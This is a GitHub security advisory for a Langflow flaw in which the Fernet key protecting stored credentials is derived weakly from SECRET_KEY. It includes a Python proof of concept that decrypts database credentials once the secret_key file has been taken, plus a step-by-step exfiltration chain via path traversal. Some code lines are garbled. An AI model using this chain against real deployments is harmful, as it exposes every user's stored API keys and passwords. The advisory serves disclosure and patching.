GitHub Advisoryadvisory · PyPI
GHSA-jxw3-mjmx-3pqm Langflow: Weak Fernet Key via random.seed()
CRITICAL
Official page ↗
- Aliases
- CVE-2026-9205
- Ecosystem
- PyPI
- Packages
- langflow
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-228
- Reviewed
- 2026-10-05
Affected packages
• PyPI langflow: < 1.10.1 → fixed in 1.10.1
Description
Summary
Langflow uses Python's `random` module (Mersenne Twister, a non-cryptographic PRNG) seeded with the `SECRET_KEY` to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the `SECRET_KEY` is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the `SECRET_KEY` (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when `SECRET_KEY` is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the `secret_key` file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1)
CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: `src/backend/base/langflow/services/auth/service.py`, lines 651–663
```python
MINIMUM_KEY_LENGTH = 32
def _ensure_valid_key(self, raw_key: str) -> bytes:
if len(raw_key) Fernet:
secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
valid_key = self._ensure_valid_key(secret_key)
return Fernet(valid_key)
```
The identical logic is duplicated in `src/backend/base/langflow/services/auth/utils.py`, lines 292–318 (called by `DatabaseVariableService.create_variable` and `update_variable`).
What is encrypted under this key:
All variables stored with `type = "Credential"` — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
```python
services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value
```
Why this is critical in combination with the MCP path traversal:
The `secret_key` file is stored at `/app/data/.cache/langflow/secret_key` — readable via the MCP path traversal vulnerability. Once exfiltrated:
• If `len(secret_key) = 32`: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
```python
!/usr/bin/env python3
Requires: pip install cryptography
import random
import base64
from cryptography.fernet import Fernet
--- Scenario A: SHORT secret key ( str:
random.seed(secret_key)
key_bytes = bytes(random.getrandbits(8) for _ in range(32))
fernet_key = base64.urlsafe_b64encode(key_bytes)
return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()
--- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
padding_needed = 4 - len(secret_key) % 4
padded = secret_key + "=" * padding_needed
return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
and from SELECT value FROM variable WHERE type='Credential' in langflow.db
SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch
CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M="
plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)
print(f"Decrypted credential: {plaintext}")
Output: sk-test-SENTINEL-VALUE-12345
```
Confirmed on Langflow v1.7.3:
• Database path: `/app/.venv/lib/python3.12/site-packages/langflow/langflow.db`
• Two `Credential`-type variables found in the `variable` table
• Both decrypted successfully: `"dummy"` and `"sk-test-SENTINEL-VALUE-12345"`
• The sentinel value (`sk-test-SENTINEL-VALUE-12345`) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated `secret_key`
End-to-end chain (with MCP path traversal):
```bash
Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)
Step 2: Query DB credentials via path traversal (SQLite file readable)
Step 3: Decrypt offline — zero brute force, instant
python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT"
→ all stored API keys revealed
```
Impact
All stored user credentials are at risk in any Langflow deployment where an attacker can read the `secret_key` file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:
• OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable
• Database connection strings and passwords stored as credentials are exposed
• OAuth tokens and webhook secrets stored via the Variables UI are exposed
• All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide `SECRET_KEY`
In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.
Fix
Fixed in v1.10.1 by PR #13704 (commit `094694d3f2`).
`ensure_fernet_key()` (`src/backend/base/langflow/services/auth/utils.py`) no longer seeds Python's non-cryptographic `random` module for short `SECRET_KEY` values. The 32-byte key is now derived deterministically with SHA-256:
```python
def ensure_fernet_key(secret_key: str) -> bytes:
if len(secret_key) < MINIMUM_SECRET_KEY_LENGTH:
digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes
key = base64.urlsafe_b64encode(digest)
else:
key = add_base64_padding(secret_key).encode()
return key
```
Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via `get_fernet_for_decryption()`, which returns a `MultiFernet` trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local `random.Random(secret_key)` instance (not the global `random` module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.
Affected versions: <= 1.10.0
Patched version: 1.10.1
Operator note: deployments running with a `SECRET_KEY` shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated `SECRET_KEY` (`secrets.token_urlsafe(32)`, 43 characters) takes the long-key branch and was never affected by the PRNG issue.
Related
Alias · CVE (1)
- CVE-2026-9205 IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function. vulnerability
Weakness · CWE (1)
- CWE-228 Improper Handling of Syntactically Invalid Structure weakness
References
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-jxw3-mjmx-3pqm web
- https://nvd.nist.gov/vuln/detail/CVE-2026-9205 advisory
- https://github.com/langflow-ai/langflow/pull/13704 web
- https://github.com/langflow-ai/langflow/commit/094694d3f20c1da499f4d8dbac15c510609e3026 web
- https://github.com/langflow-ai/langflow package
- https://www.ibm.com/support/pages/node/7282648 web